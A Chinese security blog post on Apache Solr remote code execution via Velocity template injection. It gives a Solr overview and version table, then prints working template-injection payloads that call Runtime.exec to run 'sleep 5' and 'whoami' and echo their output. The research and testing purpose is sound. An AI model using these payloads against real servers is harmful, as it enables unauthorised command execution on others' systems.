wywwzjj's Blog.

Solr-RCE-via-Velocity-Template

字数统计: 502阅读时长: 2 min
2019/11/20 Share

什么是 Solr?

Solr 采用 Java 开发,是建立在 Apache Lucene 上的流行的、快速的开源企业搜索平台。 它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。 +

Solr 具有高度可靠、可伸缩和容错能力,提供分布式索引、复制和负载平衡查询、自动故障转移和恢复、集中配置等功能。Solr 为世界上许多最大的互联网站点的搜索和导航功能提供了动力。

Solr 版本发展

版本 发布时间 说明
1.1 2007-01-18 -
1.3.0 2008-09-15 lucene2.3;引入拼写检查、数据导入、排序、分布式搜索
1.4.0 2009-11-09 lucene2.9.3
1.4.1 2010-06-24 -
3.1.0 2011-03-30 Lucene 3.1.0
4.0.0 2013-01-16 Java 1.6 以上,ZooKeeper 3.3.6;引入solrcloud
4.1.0 2013-01-21 Java 1.6 以上,lucene4.1
4.5.0 2013-10-04 Java 1.6 以上,ZooKeeper 3.4.5
4.7.1 2014-04-01 Java 1.6 以上,最后一个采用旧版配置方法版本
4.8.0 2014-04-27 Java 1.7 以上,ZooKeeper 3.4.6
5.0.0 2015-02-19 Java 1.7 以上,Jetty 8.1.10
5.5.0 2016-02-20 Java 1.7 以上,Solr schema version支持1.6
6.0.0 2016-04-07 Java 1.8 以上,Jetty 9.3.8
6.1.0 2016-08-24 Java 1.8 以上

环境搭建

Velocity SSTI

Velocity is a Java-based template engine. It permits anyone to use a simple yet powerful template language to reference objects defined in Java code.

https://portswigger.net/research/server-side-template-injection

1
2
3
4
5
6
7
8
9
10
11
12
13
$class.inspect(class/object/string)	returns a new ClassTool instance that inspects the specified class or object
$class.type returns the actual Class being inspected

$class.inspect("java.lang.Runtime").type.getRuntime().exec("sleep 5").waitFor()

#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
CATALOG
  1. 1. 什么是 Solr?
  2. 2. 环境搭建
  3. 3. Velocity SSTI